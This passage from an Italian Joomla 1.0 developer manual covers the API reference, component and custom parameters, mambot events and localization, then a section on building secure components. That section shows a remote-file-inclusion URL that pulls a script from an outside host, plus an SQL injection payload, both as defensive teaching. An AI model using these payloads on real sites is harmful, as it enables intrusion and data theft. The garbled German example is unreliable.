1 function Links2Menu(string $type, string $and);
```

Listato 205: Sintassi mosAdminMenus::Links2Menu

Restituisce un array di oggetti corrispondenti alle voci di menu di un determinato tipo. I suoi parametri sono:

`$type` tipo di menu da recuperare, ad esempio `components`, `url`, `wrapper`, ...

`$and` clausola SQL aggiuntiva per effettuare un filtro sui record

L'array restituito è conforme al metodo `$database->loadObjectList()` (vedi 2.3.14).

```
1 echo mosAdminMenus::Links2Menu("components");
```

B.19 Metodo MenuSelect()

```
1 function MenuSelect([string $name='menuselect', string $javascript=NULL]);
```

Listato 206: Sintassi mosAdminMenus::MenuSelect

Visualizza una casella combinata estesa contenente l'elenco dei menu di Joomla (*mainmenu*, *topmenu*, ...). I suoi parametri sono:

`$name` nome della casella combinata

`$javascript` codice Javascript personalizzato da associare alla casella combinata

I valori restituiti dalla casella combinata sono i nomi dei menu.

```
1 echo mosAdminMenus::MenuSelect();
```

B.20 Metodo GetImageFolders()

```
1 function GetImageFolders(array &$temps, string $path);
```

Listato 207: Sintassi mosAdminMenus::GetImageFolders

Visualizza una casella combinata contenente tutte le voci dell'array `$temps`. Tale parametro rappresenta un array di oggetti aventi un campo `value`.

Il metodo crea le varie opzioni della casella combinata, aggiungendo il carattere `/` in fondo ai nomi, ed impostando `value` e `text` al medesimo valore.

Il parametro `$path`, sebbene obbligatorio, non viene utilizzato.

```
1 $temp[0]->value = "AAA";
```

```
2 $temp[1]->value = "BBB";
```

```
3 $temp[2]->value = "CCC";
```

```
4
```

```
5 echo mosAdminMenus::GetImageFolders($temp, "");
```

B.21 Metodo ImageCheck()

```
1 function ImageCheck(string $file[, string $directory='/images/M_images/'[, string $param= ↵
    ↵ NULL[, string $param_directory='/images/M_images/'[, string $alt=NULL[, string ↵
    ↵ $name='image'[, int $type=1[, string $align='middle'[, string $title=NULL[, int ↵
    ↵ $admin=NULL]]]]]]]]];
```

Listato 208: Sintassi mosAdminMenus::ImageCheck

Verifica se una determinata immagine esiste nella cartella delle immagini del template corrente; se esiste la carica, altrimenti carica quella di default. I suoi parametri sono:

`$file` nome del file dell'immagine di default

`$directory` directory che contiene l'immagine di default da utilizzare

`$param` nome dell'immagine; se vale -1 viene restituita una stringa vuota

`$param_directory` directory che contiene l'immagine

`$alt` testo alternativo (`alt=`) del tag HTML dell'immagine

`$name` nome (`name=`) del tag HTML dell'immagine

`$type` flag per determinare se restituire il solo percorso dell'immagine (`$type=0`) o l'intero tag HTML `` (`$type=1`)

`$align` allineamento (`align=`) del tag HTML dell'immagine

`$title` titolo (`title=`) del tag HTML dell'immagine

`$admin` flag per stabilire se cercare nei template lato frontend (`admin=0`) o lato backend (`admin=1`)

B.22 Metodo ImageCheckAdmin()

```
1 function ImageCheckAdmin(string $file[, string $directory='/administrator/images/'[, string ↵
    ↵ $param=NULL[, string $param_directory='/administrator/images/'[, string $alt= ↵
    ↵ NULL[, string $name=NULL[, int $type=1[, string $align='middle'[, string $title= ↵
    ↵ NULL]]]]]]]]];
```

Listato 209: Sintassi mosAdminMenus::ImageCheckAdmin

Il metodo invoca direttamente `ImageCheck()`, passandogli tutti i suoi parametri ed aggiungendo `admin=1`.

C Tag <param> e componenti

Nella sezione 3.1 si è parlato del tag <param> e di come esso venga utilizzato nei file di configurazione di moduli e mambot per definire i parametri di configurazione degli stessi.

Non si è mai fatto cenno ai componenti, per i quali è necessario realizzare soluzioni ad hoc per la gestione dei settaggi; infatti non è possibile utilizzare il tag <param> per definire i parametri di configurazione in senso stretto.

Tuttavia esiste un caso d'uso ben preciso in cui il tag <param> può essere utilizzato e risulta essere anche molto comodo: la configurazione delle voci di menu.

Quando si installa un componente, quasi sempre è necessario collegarlo ad una voce di menu affinché questo possa essere utilizzato dagli utenti del sito; e per farlo è sufficiente creare una voce di menu di tipo *Componente*.

Lavorando con alcuni componenti predefiniti di Joomla, come ad esempio i collegamenti web³⁵, ci si sarà resi conto che la voce di menu relativa è caratterizzata da una serie di parametri personalizzabili quali *Titolo pagina*, *Lista Categoria - Sezione*, *Lista Categoria - Categoria*, *Intestazione tabella*, ...

Ebbene, tali parametri sono definiti all'interno del file XML di installazione dei componenti, allo stesso identico modo di quanto si fa con moduli e mambot.

Cerchiamo di chiarire il concetto con un esempio pratico, riconsiderando l'esempio trattato nella sezione 14.1.

L'esempio visualizzava banalmente la data e l'ora corrente del server, senza nessuna gestione del componente stesso nel backend.

La modifica che verrà fatta ora mira ad inserire alcuni parametri di configurazione da associare alla voce di menu che verrà collegata alla nuova versione del componente.

Come prima cosa vediamo il file XML di installazione per capire come modificarlo; in realtà è sufficiente aggiungere i tag <param> esattamente come si è già visto nelle sezioni precedenti.

L'unico *vincolo* fondamentale *di funzionamento* è che il nome del file XML non deve contenere il prefisso *com_*; infatti il suo nome è *clock5.xml* e non *com_clock5.xml*.

Nel caso in cui ci si dovesse sbagliare nome, l'installazione del componente andrà comunque a buon fine, ma i parametri verranno ignorati.

```

1 <?xml version="1.0" encoding="ISO-8859-1" ?>
2
3 <mosinstall type="component" version="1.0">
4   <name>Clock 5</name>
5   <creationDate>13 novembre 2006</creationDate>
6   <author>Marco Napolitano</author>
7   <copyright>This component in released under the GNU/GPL License</copyright>
8   <authorEmail>info@allone.it</authorEmail>
9   <authorUrl>www.allone.it</authorUrl>
10  <version>1.0</version>
11  <description>Visualizza la data, completa di orario, corrente.</description>
12  <files>
13    <filename>clock5.php</filename>
14    <filename>clock5.html.php</filename>
15  </files>

```

³⁵componente *com_weblinks*

```

16
17 <params>
18   <param name="tipo" type="list" default="all" label="Visualizza" description=" ←
    ↳ Imposta le informazioni che devono essere visualizzate">
19     <option value="all">Data e orario</option>
20     <option value="date">Solo data</option>
21     <option value="hour">Solo orario</option>
22   </param>
23   <param name="testo" type="textarea" default="" rows="5" cols="30" label="Testo ←
    ↳ introduttivo" description="Inserire un testo introduttivo da ←
    ↳ visualizzare nel frontend" />
24   <param name="viewtesto" type="radio" default="1" label="Visualizza testo" ←
    ↳ description="Stabilisce se visualizzare il testo introduttivo">
25     <option value="1">Sì</option>
26     <option value="0">No</option>
27   </param>
28 </params>
29
30 <administration>
31   <menu>Clock 5</menu>
32 </administration>
33 </mosinstall>

```

Listato 210: clock5.xml

Come si può notare, l'unica differenza è l'aggiunta dei tag <param>, esattamente come descritto nella sezione 3.1.

Vediamo ora il codice principale del componente, all'interno del quale vengono recuperati i parametri in maniera analoga a quanto visto per i mambot.

```

1 <?php
2   defined('_VALID_MOS') or die('Restricted access');
3
4   // include il secondo file di frontend
5   require_once($mainframe->getPath("front_html"));
6
7   // vengono recuperati tutti i parametri della voce di menu
8   $menu = $mainframe->get('menu');
9   $params = new mosParameters($menu->params);
10  $tipo = $params->get("tipo", "all");
11  $testo = $params->get("testo", "");
12  $viewtesto = intval($params->get("viewtesto", "1"));
13
14  // il testo introduttivo va visualizzato indipendentemente
15  // dal tipo di visualizzazione
16  if($viewtesto == 1)
17    HTML_clock::text($testo);
18
19  // esamina tutte le alternative per il parametro $tipo
20  // ed invoca il metodo della classe contenuta nel
21  // secondo file di frontend
22  switch($tipo) {

```

```

23     case "date" :
24         HTML_clock::date();
25         break;
26     case "hour" :
27         HTML_clock::hour();
28         break;
29     case "all" :
30     default :
31         HTML_clock::all();
32         break;
33     }
34 ?>

```

Listato 211: clock5.php

La prima cosa da fare è quella di istanziare correttamente gli oggetti adibiti alla gestione dei parametri, e questo avviene tramite il codice:

```

1 $menu = $mainframe->get('menu');
2 $params = new mosParameters($menu->params);

```

Dopodichè l'oggetto `$params` può essere utilizzato esattamente allo stesso modo di quanto visto per i moduli ed infatti vengono recuperati i valori dei parametri mediante il metodo `get`:

```

1 $tipo = $params->get("tipo", "all");
2 $testo = $params->get("testo", "");
3 $viewtesto = intval($params->get("viewtesto", "1"));

```

Infine si noti che, in questo esempio specifico, il codice è stato modificato da:

```

1 switch($task){

```

a:

```

1 switch($tipo){

```

ma è stato fatto ai soli fini dell'esempio e non rappresenta una metodologia di sviluppo.

Il resto del codice non necessita di ulteriori spiegazioni.

Infine il file di supporto, ma qui le modifiche si limitano all'aggiunta di un metodo per visualizzare il testo introduttivo. Sicuramente poco interessante dal punto di vista dello sviluppo.

```

1 <?php
2     defined('_VALID_MOS') or die('Restricted access');
3
4     class HTML_clock {
5         // metodo che visualizza la data
6         function date(){
7             $oggi = getdate();
8
9             $giorno = sprintf("%02d",$oggi['mday']);
10            $mese = $oggi['month'];
11            $anno = sprintf("%04d",$oggi['year']);
12
13            echo $giorno . " " . $mese . " " . $anno . "<br />";

```

```

14     }
15
16     // metodo che visualizza l'ora
17     function hour(){
18         $oggi = getdate();
19
20         $ora = sprintf("%02d",$oggi['hours']);
21         $min = sprintf("%02d",$oggi['minutes']);
22         $sec = sprintf("%02d",$oggi['seconds']);
23
24         echo $ora . ":" . $min . ":" . $sec . "<br />";
25     }
26
27     // metodo che visualizza sia la data che l'ora
28     function all(){
29         HTML_clock::date();
30         HTML_clock::hour();
31     }
32
33     // metodo che visualizza il testo introduttivo
34     function text($text){
35         if($text != null && $text != "")
36             echo "<p>" . $text . "</p>";
37     }
38 }
39 ?>

```

Listato 212: clock5.html.php

A questo punto, per rendersi conto del funzionamento dei parametri, è necessario creare il solito file ZIP ed installare il componente.

Dopodichè, tramite il menu *Menu*→*mainmenu*³⁶ creare una nuova voce di tipo *Componente* e collegarla al componente appena installato.

Una volta salvate le modifiche, si noterà che tra le proprietà della nuova voce di menu sono presenti anche i parametri definiti nel file XML di installazione.

³⁶o un altro menu a discrezione

D Parametri personalizzati

Nella sezione 3.1 sono stati presentati tutti i tipi di parametri predefiniti di Joomla. Ma è possibile spingersi molto oltre, definendo i propri tipi di parametro personalizzati.

Si supponga di aver bisogno di un parametro che visualizza la lista degli utenti, la lista delle notizie che scadono in un certo giorno, la lista di qualsiasi altra cosa che a noi può servire.

Joomla permette di espandere i tipi predefiniti, ma ciò non è semplice e richiede una modifica al codice sorgente di Joomla stesso.

Una volta modificato il codice, sarà possibile estendere la classe di sistema `mosParameters` con tutti i tipi di parametro che si desidera.

D.1 Hack del codice per i moduli

Il file in cui effettuare la modifica è:

`administrator/components/com_modules/admin.modules.php`.

Intorno alla riga 447 c'è il blocco di codice che recupera i parametri del modulo, quelli creati nel file XML con il tag `<param>` e visualizzati poi nel backend:

```
1 // get params definitions
2 $params = new mosParameters( $row->params, $xmlfile, 'module' );
3
4 HTML_modules::editModule( $row, $orders2, $lists, $params, $option );
```

La modifica consiste nell'istanziare la variabile `$params` (vedi sezione 2.4) con una nostra classe personalizzata e derivata da `mosParameters`, in modo che ne erediti il comportamento completo ma aggiunga anche i tipi di parametro personalizzati.

Pertanto è necessario sostituire il blocco di codice con il seguente:

```
1 // get params definitions
2 // $params = new mosParameters( $row->params, $xmlfile, 'module' );
3 require_once($mosConfig_absolute_path . "/includes/joomla_custom.xml.php");
4 $params = new customParameters( $row->params, $xmlfile, 'module' );
5
6 HTML_modules::editModule( $row, $orders2, $lists, $params, $option );
```

Come si può notare il comando originale è stato commentato e sono state introdotte due nuove righe di codice; la prima riga serve ad includere il file che contiene la definizione della nuova classe, mentre il secondo file istanzia la nuova classe con gli *stessi* parametri dell'originale.

Si noti che il file `joomla_custom.xml.php` non esiste e va creato dallo sviluppatore, così come la classe `customParameters`; i nomi possono essere modificati a propria scelta, ma quelli impostati in questo manuale sono già abbastanza significativi.

D.2 Estensione della classe

A questo punto è necessario creare il file `joomla_custom.xml.php` all'interno della directory `/includes` e definire la classe personalizzata, così come impostata nella sezione precedente:

```
1 <?php
2     defined(' _VALID_MOS' ) or die('Restricted access');
3
```

```

4  class customParameters extends mosParameters {
5      // elenco delle funzioni personalizzate
6  }
7  ?>

```

Listato 213: File `joomla_custom.xml.php`

D.3 Creazione dei tipi

I tipi di parametro personalizzati che verranno creati sono in realtà dei gestori e come tali sono rappresentati da funzioni.

Quindi creare un tipo di parametro personalizzato consiste nello scrivere il codice di una funzione, il cui nome deve seguire la seguente regola:

```

1  function mixed _form_NOMEDELTIPO (string $name, string $value, object &$node, string ←
    ← $control_name);

```

Listato 214: Formato gestore personalizzato

Il valore restituito deve essere quello di uno dei metodi della classe `mosHTML` (vedi sezione A), a seconda del tipo di parametro che si vuole creare.

Facciamo un esempio per chiarire tutto il meccanismo.

Supponiamo di voler creare un tipo di parametro che visualizza l'elenco degli utenti non bloccati; qualcosa di simile al tipo `mos_section` o `mos_category`, ma il contenuto dell'elenco lo decidiamo noi. Quindi stiamo progettando il contenuto di una `<select>`.

Decidiamo che questo nuovo tipo di parametro si chiami `userlist`; di conseguenza, andremo a scrivere la seguente funzione all'interno della nostra classe `customParameters`:

```

1  /**
2   * @param string nome dell'elemento del form
3   * @param string valore dell'elemento del form
4   * @param object elemento xml per il parametro
5   * @param string nome del controllo
6   */
7  function _form_userlist($name, $value, &$node, $control_name) {
8      global $database;
9
10     // si prepara la query che recupera gli utenti non bloccati
11     $strSQL = "SELECT id AS value, name AS text " .
12         "FROM #__users " .
13         "WHERE block = '0' " .
14         "ORDER BY name";
15     $database->setQuery($strSQL);
16
17     // si esegue la query, ottenendo un array di oggetti che viene chiamato "$options"
18     // in quanto il suo contenuto saranno le <option> della <select>
19     $options = $database->loadObjectList();
20
21     // per correttezza, si inserisce un'opzione informativa in testa alla lista,
22     // utilizzando il metodo mosHTML::makeOption()
23     // vedi anche http://it.php.net/manual/it/function.array-unshift.php

```

```

24 array_unshift($options, mosHTML::makeOption('0', 'Seleziona utente'));
25
26 // infine si restituisce il componente <select> nel suo complesso,
27 // utilizzando il metodo mosHTML::selectList()
28 return mosHTML::selectList($options, $control_name . "[" . $name . "]", "class='inputbox' ↵
    ↵ ", "value", "text", $value);
29 }

```

La funzione è abbastanza semplice, ma richiede alcuni chiarimenti.

Dal momento che si sta realizzando una lista `<select>`, ogni elemento della lista è costituito da due valori, esattamente come accade per il tag `<option value="VALORE">TESTO</option>`.

Pertanto la query SQL di recupero dei dati, deve visualizzare solamente due campi; e tali campi devono chiamarsi esattamente `value` e `text`.

Ecco spiegato il perchè della query, non era casuale:

```

1 $strSQL = "SELECT id AS value, name AS text " .

```

Infine si noti che i penultimi due parametri del metodo `mosHTML::selectList()` sono proprio `"value"` e `"text"`, ossia i nomi dei campi restituiti dalla query ed utilizzati poi da Joomla per far funzionare tutto il meccanismo:

```

1 return mosHTML::selectList($options, $control_name . "[" . $name . "]", "class='inputbox'", " ↵
    ↵ value", "text", $value);

```

E' fondamentale che i nomi corrispondano!

I due valori `value` e `text` sono quelli predefiniti di Joomla, ma nulla vieta all'utente di rinominarli utilizzando propri nomi di fantasia. Ma in fondo non cambia nulla, tanto vale mantenere quelli predefiniti.

D.4 Utilizzo dei parametri

Utilizzare il nuovo tipo di parametro è molto semplice, perchè è sufficiente specificare nell'attributo `type` del tag `<param>`³⁷ il nome del tipo creato; per rifarsi alla sezione precedente, la definizione del parametro sarebbe:

```

1 <param name="..." type="userlist" default="0" label="..." description=""/>

```

Per quanto riguarda la gestione del valore del parametro da codice PHP, si usano i metodi già illustrati (vedi sezione 2.4).

³⁷ovviamente ci si sta riferendo al file XML di installazione

E Eventi personalizzati

Nella sezione 15 si è parlato dei gruppi in cui sono suddivisi i mambot, delle loro caratteristiche e degli eventi da cui scaturiscono.

Il framework di Joomla però si spinge oltre e permette anche la creazione di gruppi ed eventi personalizzati; cerchiamo quindi di capire come fare.

E.1 Gruppi personalizzati

Per creare un gruppo di mambot personalizzato, è sufficiente modificare il file XML di installazione nel modo seguente:

```
1 <?xml version="1.0" encoding="iso-8859-1"?>
2 <mosinstall version="1.0" type="mambot" group="NOMEGRUPPO">
```

Come si può notare, l'attributo `group` deve contenere il nome del gruppo personalizzato.

E.2 Gestione degli eventi

Per gestire un evento personalizzato, è sufficiente operare nel modo usuale, come da esempio:

```
1 $_MAMBOTS->registerFunction('onVerify', 'botVerify');
2 $_MAMBOTS->registerFunction('onView', 'botView');
```

I due eventi `onVerify` e `onView` non sono predefiniti di Joomla, ma sono personalizzati del mambot.

Le due funzioni `botVerify()` e `botView()` vengono eseguite in seguito all'innesco dell'evento.

Il numero ed il tipo dei loro parametri viene stabilito dallo sviluppatore e vengono tutti passati alla funzione nel momento in cui l'evento viene innescato.

E.3 Innesco degli eventi

L'ultimo passo da realizzare è l'innesco degli eventi, cosa che Joomla effettua autonomamente per quelli predefiniti, ma che va fatta manualmente per gli eventi personalizzati.

Nel punto in cui va innescato l'evento, è necessario scrivere un codice simile al seguente:

```
1 // carica tutti i mambot del gruppo personalizzato
2 if($_MAMBOTS->loadBotGroup("NOMEGRUPPO")){
3     // innesco dell'evento onVerify
4     $results = $_MAMBOTS->trigger('onVerify', array($arg1, $arg2, ...));
5
6     if($results){
7         // qualche operazione
8     }
9     else{
10        // qualche operazione
11    }
12 }
```

Come si può notare alla linea 2, la prima istruzione riguarda il caricamento di tutti i mambot del gruppo, mediante il metodo `loadBotGroup()`.

Il test serve per filtrare eventuali condizioni di errore durante il caricamento stesso; infatti il metodo `loadBotGroup()` restituisce `true` in caso di successo, altrimenti `false`.

Dopodichè è possibile innescare l'evento desiderato, mediante il metodo `trigger()` (linea 4). Tale metodo possiede due argomenti:

1. `string $eventName`, nome dell'evento da innescare (`onVerify`, `onView`, con riferimento alla sezione E.2)
2. `array $parameters`, array contenente tutti gli argomenti da passare al gestore dell'evento (`botVerify()`, `botView()`, con riferimento alla sezione E.2)

Nel caso in cui il gestore dell'evento restituisca un risultato, quest'ultimo viene restituito direttamente dal metodo `trigger()`, e può essere gestito a seconda delle necessità.

F Localizzazione del codice

Una volta terminata la lettura del manuale si sarà in grado di sviluppare estensioni per Joomla. Ma in che lingua?

Finora non si è mai parlato di lingua, si è dato per scontato che l'estensione fosse sviluppata nella lingua corrente.

E questo non è certo un errore; tuttavia se vogliamo che i nostri lavori vengano utilizzati da un bacino di utenti più ampio, è necessario prendere in seria considerazione la gestione del multilingua. Questa sezione cerca pertanto di analizzare il problema e fornire alcune soluzioni.

Il processo di trasformazione in multilingua prevede due passaggi:

1. internazionalizzazione, in gergo *I18N*³⁸
2. localizzazione, in gergo *L10N*³⁹

F.1 Fase I18N

Questa fase ha lo scopo di *generalizzare* le stringhe di testo che vengono utilizzate nel codice; infatti solitamente il testo viene codificato direttamente nelle istruzioni di stampa (in gergo *hard coded*), come nell'esempio seguente:

```
1 echo "Benvenuto " . $my->user . "<br/>";
2 echo "La tua ultima visita risale a: " . $my->lastvisitDate;
```

La prima cosa da fare è quindi estrapolare le stringhe dal codice e memorizzarle in apposite costanti:

```
1 $_WELCOME = "Benvenuto ";
2 $_LASTVISIT = "La tua ultima visita risale a: ";
3
4 echo $_WELCOME . $my->user . "<br/>";
5 echo $_LASTVISIT . $my->lastvisitDate;
```

Non ci sono regole particolari per i nomi delle costanti, ma è usanza utilizzare il maiuscolo e qualche tipo di prefisso per differenziarle dalle normali variabili in modo da non fare confusione, nonchè un nome descrittivo del suo contenuto; è bene evitare nomi formati da numeri progressivi, perchè è più difficile comprenderne il significato:

```
1 $welcome; // non è un buon nome
2 $_1234; // non è un buon nome
3 $_WELCOME; // è un buon nome
4 $_MYCOMP_WELCOME; // è un ottimo nome
```

Una volta fatto questo si crea un apposito file PHP contenente tutte le definizioni delle costanti. Tale file avrà nome uguale alla lingua (ad esempio *italian.php*, *english.php*, *dutch.php*, ...) ed estensione *.php*; il file andrà quindi copiato in una cartella *lang* (o *language*) all'interno della cartella del componente:

³⁸ossia una I seguita da 18 lettere terminante con una N; dall'inglese *internationalization*

³⁹ossia una L seguita da 10 lettere terminante con una N; dall'inglese *localization*

```

1 // contenuto del file italian.php
2
3 $_WELCOME = "Benvenuto ";
4 $_LASTVISIT = "La tua ultima visita risale a: ";
5 // altre variabili

```

Ci si trova così con due file separati: il file del codice che usa le costanti ed il file della lingua che definisce le costanti.

F.2 Fase L10N

Questa fase si occupa di *localizzare* il codice, ossia fornire le varie traduzioni del file della lingua. Fare ciò è molto semplice perchè è sufficiente creare tanti file quante sono le traduzioni⁴⁰ e modificare il valore delle costanti. Ad esempio, la traduzione inglese sarà memorizzata nel file `english.php`:

```

1 // contenuto del file english.php
2
3 $_WELCOME = "Welcome ";
4 $_LASTVISIT = "Your last visit was: ";
5 // altre variabili

```

Ci si trova così con due gruppi di file separati: il file del codice che usa le costanti e *tutti* i file della lingua, situati in un'apposita cartella.

F.3 Recuperare la lingua

A questo punto manca l'ultimo passaggio per mettere tutto insieme: come fare per sapere quale lingua si deve usare all'interno del componente?

Questa domanda non ha un'unica risposta, ci sono diversi metodi per farlo.

Un primo metodo potrebbe essere la scelta automatica, ossia il componente ricava la lingua corrente di Joomla ed usa quella senza nessuna configurazione o intervento dell'utente:

```

1 // si verifica che il file della traduzione esista
2 if (file_exists("lang/" . $mosConfig_lang . ".php"))
3     require_once("lang/" . $mosConfig_lang . ".php");
4 // altrimenti viene caricata la traduzione di default
5 else
6     require_once("lang/english.php");
7
8 echo $_WELCOME . $my->user . "<br/>";
9 echo $_LASTVISIT . $my->lastvisitDate;

```

La variabile `$mosConfig_lang` contiene il nome della lingua configurata all'interno di Joomla, ad esempio `italian`, `english`, ...

Questo metodo ha il vantaggio di non richiedere l'intervento dell'utente, ma ha lo svantaggio che non si può cambiare la lingua usata.

⁴⁰ogni file avrà il nome della lingua relativa

Un secondo metodo può essere quello di selezionare la lingua all'interno del file di configurazione del componente:

```

1 // file di configurazione del componente, NON di Joomla
2
3 ...
4 require_once("lang/italian.php");
5 ...

```

Dopodichè si deve includere il file di configurazione nel codice del componente:

```

1 require_once("configuration.php");
2
3 echo $_WELCOME . $my->user . "<br/>";
4 echo $_LASTVISIT . $my->lastvisitDate;

```

Questo metodo ha il vantaggio di poter usare qualsiasi lingua, ma ha lo svantaggio che per configurarlo è necessario modificare un file PHP.

Un terzo metodo, forse il più complesso da realizzare ma sicuramente il più apprezzato dall'utente, è quello di creare un parametro nel componente che specifichi la lingua. In questo modo, l'utente può modificare la lingua in qualsiasi momento, direttamente dal backend.

Il codice per recuperare la lingua è il seguente:

```

1 $lang = $params->get("lang", "english.php");
2 // si verifica che il file della traduzione esista
3 if (file_exists("lang/" . $lang))
4     require_once("lang/" . $lang);
5 // altrimenti viene caricata la traduzione di default
6 else
7     require_once("lang/english.php");
8
9 echo $_WELCOME . $my->user . "<br/>";
10 echo $_LASTVISIT . $my->lastvisitDate;

```

Trattandosi di parametri del componente, bisogna chiedersi che tipo di parametro (vedi sezione 3.1.2) creare per far scegliere la lingua all'utente.

Si può usare una semplice casella di testo (tipo `text`) in cui far inserire il nome del file (ad esempio `italian.php`), come nell'esempio sopra.

Oppure si può creare una casella combinata (tipo `list`) con l'elenco delle lingue disponibili; di sicuro impatto visivo ma di difficile gestione perchè per ogni nuova lingua introdotta è necessario modificare il file XML di installazione e reinstallare il componente.

La soluzione ideale potrebbe quindi essere quella di creare un parametro personalizzato (vedi sezione D) che crea una lista dinamica prelevando i nomi delle lingue direttamente dalla cartella `lang`; in questo modo è sufficiente creare il nuovo file della traduzione ed il componente automaticamente è in grado di gestirlo. Un possibile codice per il parametro potrebbe essere:

```

1 /**
2  * @param string nome dell'elemento del form
3  * @param string valore dell'elemento del form
4  * @param object elemento xml per il parametro

```

```

5  * @param string nome del controllo
6  */
7  function _form_listlanguage($name, $value, &$node, $control_name) {
8      global $database;
9
10     // directory delle traduzioni
11     $langDir = "lang";
12     $traduzioni = array();
13
14     if(is_dir($langDir)) {
15         if ($dh = opendir($langDir)) {
16             // vengono recuperati tutti i file delle traduzioni
17             while(($file = readdir($dh)) !== false) {
18                 if( $file != "." && $file != "..")
19                     // le opzioni saranno del tipo:
20                     // <option value="italian.php">italian</option>
21                     // <option value="english.php">english</option>
22                     // quindi il nome del file va depurato dell'estensione
23                     $traduzioni[] = mosHTML::makeOption($file, substr($file, 0, -4));
24             }
25         }
26         else
27             return "ERROR";
28         closedir($dh);
29     }
30     else
31         return "ERROR";
32
33     // infine si restituisce il componente <select> nel suo complesso,
34     return mosHTML::selectList($traduzioni, $control_name . "[" . $name . "]", "class=' ↵
35     ↵ inputbox'", "value", "text", $value);

```

F.4 Stringhe dinamiche

Spesso le stringhe che visualizzano il testo sono composte anche dal risultato di funzioni o da variabili, e non è detto che in tutte le lingue la posizione delle parole sia la medesima.

Si supponga di dover visualizzare una frase che comunichi il numero di record ottenuti dalla query; in italiano potrebbe essere *Recuperati 23 record*, ma in inglese sarebbe *23 records found* ed in tedesco *Absiche 23 data aufnahmen*. Il valore 23 non fa parte della traduzione perchè si ricava dalla query, e cambia di posizione con la lingua; pertanto è necessario fare alcune modifiche nel codice per gestire questa problematica.

Tali modifiche seguono lo stesso meccanismo utilizzato dalla funzione predefinita di PHP `sprintf` (vedi it.php.net/manual/it/function.sprintf.php) nella definizione del formato di stampa. In particolare vengono posizionati i marcatori che verranno poi sostituiti dal valore finale:

```

1  // nel file dell'italiano
2  $RECORDFOUND = "Recuperati %d record";
3
4  // nel file dell'inglese
5  $RECORDFOUND = "%d records found";

```

```
6 // nel file del tedesco
7 $RECORDFOUND = "Absiche %d data aufnamen";
8
```

Infine la visualizzazione di tali stringhe dinamiche, richiede un piccolo passaggio in più per sostituire tutti i marcatori con il valore finale:

```
1 // supponiamo che tale valore provenga da una query
2 $numRecord = 23;
3
4 echo sprintf($RECORDFOUND, $numRecord);
```

che produrrà le corrette stringhe localizzate, sostituendo l'unica occorrenza di `%d` con il valore numerico reale `$numRecord`.

Ovviamente `%d` è solo uno dei tanti marcatori che si possono utilizzare e se ne possono utilizzare più di uno contemporaneamente; si faccia riferimento alla documentazione di `sprintf` per l'elenco completo.

F.5 Uso delle costanti

Nelle sezioni F.1 e F.2 si è parlato di creare delle costanti per memorizzare le stringhe tradotte. In realtà non sono state utilizzate delle costanti in senso stretto, ma delle variabili assurte al ruolo di costante.

Un altro sistema è quello di usare le costanti vere e proprie, quelle che non possono cambiare valore durante l'esecuzione; questo metodo viene usato da Joomla per le sue traduzioni.

Tutti i ragionamenti fatti rimangono uguali, ma cambia il modo di definire le traduzioni in quanto le costanti vengono dichiarate in maniera differente; pertanto i file delle traduzioni avranno questo formato:

```
1 define("_WELCOME" "Benvenuto ");
2 define("_LASTVISIT", "La tua ultima visita risale a: ");
```

ed il codice utilizzerà le costanti in questo modo:

```
1 echo _WELCOME . $my->user . "<br/>";
2 echo _LASTVISIT . $my->lastvisitDate;
```

G Realizzare componenti sicuri

Realizzare un componente che funziona purtroppo non è più sufficiente oggi.

Ci sono persone che passano il loro tempo a trovare falle nei software ed a sfruttarle per danneggiare i sistemi altrui. E non chiamiamoli hacker!

Ecco perchè è importante cercare di realizzare i propri componenti nel migliore dei modi possibile. Non è detto che ciò renderà il nostro software impenetrabile, ma almeno più sicuro.

Pertanto vediamo alcune delle cause più frequenti di attacchi:

- accesso diretto ai file
- remote file inclusion
- SQL injection
- Cross-site scripting

G.1 Accesso diretto ai file

Questo tipo di attacco permette di accedere al file del componente esternamente a Joomla, semplicemente invocando la pagina dal browser.

Normalmente un componente viene invocato da Joomla tramite il link:

```
1 http://www.sito.it/index.php?option=com_tuonome
```

ma un attaccante potrebbe invocarlo direttamente con:

```
1 http://www.sito.it/components/com_tuonome/tuonome.php
```

Ciò potrebbe comportare la visualizzazione di messaggi di errore o di altre informazioni riservate che possono essere usate contro di noi. Pertanto, come già detto, è *necessario* inserire il seguente blocco di codice al fine di impedire l'accesso diretto ai file:

```
1 <?php
2     defined('_VALID_MOS') or die('Restricted access');
3 ?>
```

G.2 Remote file inclusion

Questo tipo di attacco sfrutta il funzionamento di PHP impostato con `register_globals=on` e `allow_url_fopen=on` e permette ad un attaccante di sovrascrivere una variabile interna dello script, eseguendo poi codice arbitrario.

Supponiamo infatti di avere il seguente codice:

```
1 include($mosConfig_absolute_path . '/components/com_tuonome/nome.class.php');
```

che include un file all'interno del nostro codice.

Purtroppo però, con le impostazioni `register_globals=on` e `allow_url_fopen=on`, la variabile `$mosConfig_absolute_path` potrebbe essere inviata sulla riga dell'indirizzo in questo modo:

```
1 http://www.miosito.it/components/com_tuonome/nome.php?mosConfig_absolute_path=http://www ↵
    ↵ .altrosito.it/script.php?
```

e ciò comporterebbe l'esecuzione di:

```
1 include('http://www.altrosito.it/script.php?/components/com_tuonome/nome.class.php');
```

Questo semplicissimo trucco permette di mandare in esecuzione il file `script.php` che può fare *qualsiasi cosa* all'interno del nostro spazio web e del server.

Per ovviare a questo problema si può impostare `register_globals=off`, referenziando poi le variabili con `$_GET['nomevariabile']`. Si potrebbe anche impostare `allow_url_fopen=off`, ma è un'impostazione usata spesso dai programmatori *seri*.

Infine si potrebbe evitare di usare le variabili nell'inclusione di file, adottando una tecnica tipo:

```
1 define('PERCORSOBASE', dirname(__FILE__));
2 require_once(PERCORSOBASE . '/percorso/file_da_includere.php');
```

In questo modo non c'è possibilità di attacco.

G.3 SQL injection

Questo tipo di attacco è piuttosto diffuso e richiederebbe un manuale tutto suo. Si tratta della possibilità di *iniettare* codice SQL all'interno di una nostra query in modo da alterare il database o recuperare informazioni riservate. E' legato alla non corretta gestione dell'input inserito dall'utente.

Supponiamo di avere realizzato un semplice modulo di ricerca con un unico campo di tipo testuale e di utilizzarlo nel modo seguente:

```
1 $testo = $_POST["testo"];
2 $database->setQuery("SELECT * FROM #__tabella WHERE contenuto LIKE '%$testo%'");
```

L'attaccante potrebbe inserire una stringa opportunamente realizzata, tipo `' OR 1=1 #` e ciò comporterebbe l'esecuzione della seguente query:

```
1 SELECT * FROM #__tabella WHERE contenuto LIKE '%' OR 1=1 #%'
```

con il risultato di visualizzare *l'intero contenuto* della tabella!

E se tale tabella contenesse dati riservati quali password, l'attacco sarebbe molto dannoso.

